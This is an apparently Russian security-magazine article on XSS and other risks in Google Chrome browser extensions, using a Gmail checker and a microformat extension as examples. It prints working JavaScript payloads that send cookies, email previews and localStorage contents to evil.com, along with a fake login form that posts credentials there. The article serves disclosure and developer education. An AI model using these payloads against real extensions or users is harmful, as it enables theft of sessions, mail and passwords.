С каждым днем Google Chrome становится все более и более популярен. Его создатели проделали большую работу, разработав платформу для создания расширений для браузера. Они несут в себе дополнительный функционал, но и новую опасность. В рамках этого материала я не буду детально описывать, что представляет собой архитектура расширений в Chrome. Об этом можно узнать подробнее из хорошей статьи Ларри Селцера «Google’s Chrome Extensions Show Security Focus«. А для понимания всего того, о чем пойдет речь ниже, тебе нужно осознать всего несколько моментов. Первое — браузер Chrome, как и тот же самый Firefox, поддерживает расширения. По сути, это небольшие программные модули, с помощью которых можно изменять и улучшать базовую функциональность. Второе — плагины разрабатываются с помощью привычных нам веб-технологий: HTML и JavaScript, включая вкусности HTML5 и CSS. Использование этих технологий на порядок упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там в основном используется тот же JavaScript). И третье — все плагины строятся по одной и той же структуре.

Обычно расширение для Хрома включает в себя следующие составляющие:

  • файл манифеста manifest.json — в нeм содержится информация о расширении: например его название и описание, версия, используемые файлы, привилегии и другое;
  • одна и более HTML-страниц, включая фоновую страницу background.html, выступающую в роли движка расширения;
  • опционально: один и более JS-скриптов, включая внедряемые скрипты (это аналог UserJS в Опере и Greasemonkey в Мозилле);
  • опционально: всe остальное, что может понадобиться — например, файлы-изображения.

Всe это хозяйство упаковывается в zip-архив с расширением crx. Для коммуникаций между страницами аддона предусмотрена возможность вызывать из одной страницы функции другой и даже изменять DOM-модель. Однако это не относится к внедряемым скриптам, для связи с которыми используется механизм сообщений. Для страниц расширения доступны специальные API-интерфейсы браузера для работы с закладками, историей посещений, куками, окнами, вкладками, событиями и так далее.

Теперь, имея общее представление о структуре расширений, предлагаю разобраться, какие риски могут нести эти технологии и что стоит учитывать разработчикам аддонов под Хром.

 

XSS

Рассмотрим популярное (около 18 368 установок в неделю) расширение для проверки Gmail’а — Google Mail Checker Plus. Этот полезный аддон делает только одно — показывает количество непрочитанных писем в твоeм инбоксе, а по клику на кнопке открывает окно предпросмотра. Помимо этого в нем реализованы оповещения на рабочем столе.

В области предпросмотра мы можем увидеть как минимум тему письма, отправителя и немного непосредственно текста сообщения. Попробуем с этим поиграться. Скажем, что будет, если послать письмо со следующей темой?

2"'><script src="http://evil.com/own.js"></script>

Тут own.js — это простая JavaScript-нагрузка для демонстрации уязвимости:

document.body.innerHTML = "";
img = new Image();
img.src = "http://evil.com/stallowned.jpg";
document.body.appendChild(img);

После того как пришло письмо, нам отобразится сначала уведомление на рабочем столе:

И затем по клику на кнопке расширения мы увидим уже нашу XSS во всплывающем окне расширения:

Бинго! Кстати говоря, эта уязвимость была обнаружена человеком под ником Lostmon ещe в июне 2010 года, но я подковырял еe, и автору расширения пришлось вносить исправления повторно :). Этот же человек, рапортуя о баге, писал:

«All extensions runs over his origin and no have way to altered data from extension or get sensitive data like, email account or password etc..»

Рассказывая о невозможности добраться до конфиденциальных данных через подобные уязвимости, он не совсем прав :). Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.

 

Куки

Сессионные данные — популярная цель для XSS-атаки. Но расширение работает в своего рода песочнице и напрямую доступ к кукам через объект document.cookie получить уже не получится — нам надо использовать API. Для работы с куками расширению (и нам тоже) необходимы специальные привилегии и явным образом прописанные в манифесте домены, например вот так:

{
"name": "My extension",
...
"permissions": [
"cookies",
"://.google.com"
],
...
}

Очевидно, что риск увеличивается, когда у расширения слишком много прав, то есть как минимум права на работу с куками и большое количество прописанных доменов в соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой, поскольку злоумышленник сможет получить доступ к кукам сразу всех разрешeнных доменов. Следующий код демонстрирует, как можно собрать все доступные куки и отправить их на снифер:

chrome.cookies.getAll({}, function(cookies)
{
var dump = "COOKIES: ";
for (var i in cookies)
{
dump += cookies[i].domain + ":" + cookies[i].name + ":" + cookies[i].value + " | ";
}
img = new Image();
img.src = "http://evil.com/stallowned.jpg?" + dump;
document.body.appendChild(img);
});

Все данные отобразятся в логах запросов нашего веб-сервера.

 

Данные веб-браузера как цель для атаки

В предыдущей части мы рассмотрели, какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определенных условиях (наличии большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов, и это сильное преимущество перед XSS в обычном веб-приложении. Также он сможет заполучить такие интересные данные как история твоей работы с веб-браузером, закладки и другая информация, доступная через API при соответствующем разрешении. Таким образом, в зависимости от типа расширения и его привилегий XSS может привести к компрометации данных пользователя на его компе, а не просто краже куков.

 

Угон почтовой переписки

С помощью XSS легко можно обойти настройки Gmail по показу внешнего содержимого. Пускай, это не так критично. Но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить тег <IMG>, а по факту запроса картинки с сервера определить факт прочтения письма. Это всe возможно вне зависимости от настроек показа внешнего содержимого в Гмейле! Но это ерунда, а вот что по-настоящему серьезно, так это угон переписки. Представь на секунду, что ты получаешь вот такую JavaScript-нагрузку:

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length)
{
if (e[i].className == 'openLink')
{
dump += e[i].innerText + ' | ';
}
i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Это не что иное, как дампилка писем в рамках всплывающего окна расширения. Тут всe просто — мы перебираем все элементы из списка писем, в которых отображается информация о сообщении (отправитель, дата, тема и кусок мессаджа), и отправляем еe на сервер злоумышленника.

 

Настройки расширения — там тоже могут быть интересные данные!

Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно, такие аддоны надо поискать, но они существуют, это 100%. Например, в настройках такого «плохого» плагина может быть сохранена аутентификационная информация, и мы достанем еe оттуда с помощью следующего скрипта:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ )
{
dump += "KEY: " + localStorage.key(i);
dump += " VALUE: " + localStorage.getItem(
localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

 

Фишинг

Как уже было сказано выше, расширение не может напрямую обращаться к кукам, поэтому разработчикам плагинов необходимо использовать соответствующий API. Таким образом, заполучение куков в рамках XSS-атаки становится нетривиальным решением. Но с другой стороны — обычный фишинг-то никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать еe жертве через простую нагрузку:

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

Скриншот выглядит не слишком красиво, но это всего лишь концепт.

 

Риски, связанные с использованием JSON

JSON — это легковесный текстовый формат, который широко используется в веб-приложениях web 2.0 для обмена данными между клиентской и серверной частями. Он же применяется и в плагинах Chrome для описания файла манифеста:

"name": "Extension",
"version": "1.0",
"description": "Some extension",
"icons": { "128": "icon.png" },
"permissions": ["http://example.com/"],
"browser_action":
{
"default_title": "",
"default_icon": "pic.png",
"default_popup": "view.html"
}
}

Существует как минимум два больших риска, связанных с небезопасным применением JSON:

  1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательских). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse.

  2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.

Не стоит забывать и про JSON(P), который используется для обмена данными между доменами. В контексте расширений Хрома эта потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Также с помощью любого промежуточного прокси можно посмотреть, каким образом идeт обмен данными между расширением и серверной частью веб-сервиса. А там вполне могут быть проблемы с безопасностью.

 

Внедряемые скрипты

Мы не единожды рассказывали про внедряемые скрипты (в одном из номеров ][ даже был подробный материал про Greasmonkey и его возможности). Хороший пример их использования — автоматическое обрамление всех URL-адресов на странице в html-тег <A>, тем самым делая их ссылками, даже если автор страницы об этом не позаботился. Внедряемый скрипт (content script) — это, по сути, специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом эти сценарии могут свободно читать и изменять содержимое текущей страницы, но при этом они сильно ограничены в использовании API-расширений. Если быть точным, то они не могут делать следующее:

  • использовать chrome.* APIs (кроме частей chrome.extension);
  • использовать переменные и функции, заданные в родительском расширении;
  • использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;
  • делать кроссдоменные запросы XMLHttpRequests.

С другой стороны, внедряемые скрипты могут общаться с родительским расширением с помощью специальной технологии сообщений. В общем виде мы имеем два риска, связанных с внедряемыми скриптами:

  1. В силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, где изначально этой уязвимости не было!
  2. Зловредная страница сама может атаковать расширение веб-браузера через внедряемые скрипты.

Давай разберeм пример второго случая и рассмотрим подробнее расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. В поле URL мы запихали то, что, скорее всего, расширение не планирует там увидеть:

<div class="vcard">
<div class="fn">James Bond</div>
<div class="org">MI-6</div>
<div class="tel">604-555-1234</div>
<a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
</div>

Если у нас установлен этот аддон, и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть, распарсить и показать нам эти данные о человеке.

Наша нагрузка отработала, и видно результат? Но какие риски это несeт? А вот какие. Рассматриваемое расширение умеет связываться с твоим гугловским аккаунтом с помощью протокола OAuth и API-сервиса адресной книги Гугла. С твоего разрешения оно имеет доступ к адресной книге и может добавлять туда записи по клику на соответствующей кнопке во всплывающем окне. Вот такой простой код, использующий фишки JQuery, добавит произвольный контакт в твою адресную книгу на Гмейле!

$(".submithcard").click()

Таким образом нам удалось обойти серьезные ограничения на использование API внедряемыми скриптами, и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей.

 

Заключение

Что хочется сказать в итоге? Разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. Но одновременно с этим мы видим, как выбранные для разработки технологии (HTML, CSS и JavaScript) при активном участии горе-разработчиков способствуют подверженности аддонов таким атакам как, скажем, XSS, к которым мы привыкли в контексте веб-приложений. При этом риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Создателям расширений непременно нужно особенно внимательно читать раздел «Security considerations» в руководстве разработчика, а пользователям — следить за обновлениями расширений и вовремя их устанавливать!

Оставить мнение

Check Also

ОС максимальной секретности. Выбираем дистрибутив для обхода блокировок и защиты от слежки

Возможно, ты уже пользовался дистрибутивом Tails или даже запускаешь его ежедневно. Но это…